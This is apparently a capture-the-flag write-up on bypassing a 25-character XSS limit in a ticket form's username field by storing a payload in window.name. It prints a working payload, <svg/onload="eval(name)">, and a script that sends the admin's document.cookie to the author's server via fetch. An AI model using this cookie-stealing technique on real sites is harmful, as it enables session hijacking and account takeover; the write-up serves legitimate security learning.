They laughed at our security model, but you cannot exploit what does not give you enough space!

Screenshot of the linked page

After Ticketservice V1 and Ticketservice V2 were pretty basic XSS challenges, this one only allowed XSS in the username field, which was limited to 25 characters.


tl;dr: Add payload to window.name from external site, call eval(name) via XSS.

After submitting the ticket form, a new ticket was created, reachable under its own publicly available URL, rendering the contents of the username and description fields.

I observed that the URL entered by the user was visited by “the admin” (i.e. some headless browser) shortly after the ticket was created.

The solution involved using the window.name variable, which is a weird special variable that has been around in web browsers since forever. The special behavior of this variable is that it is preserved within a tab (“window”), even when navigating to a different domain.

On the web platform, any variable under window is directly accessible, i.e. window.name can be accessed as name.

The username field was just long enough to insert <svg/onload="eval(name)">, which would use the onload attribute to execute the contents of the name variable as JavaScript. The only task left was filling that variable. I noted the ticket’s URL and created a website on my server1 that contained the following content:

    name = `fetch('https://myserver.tld/mrmcdctf/' + document.cookie)`;
    window.location = 'https://ctf.mrmcd.net/jira/v3/ticket/whateverTheTicketUrlWas';

This sets the name variable and then redirects to the ticket, which executes the name payload and causes a request to my server with the admin’s session cookie. I then created a new ticket that pointed to this website, and then observed the cookie in my web server’s logs, which contained the flag.


Solved by jomo

  1. You could also use something like https://webhook.site instead. ↩︎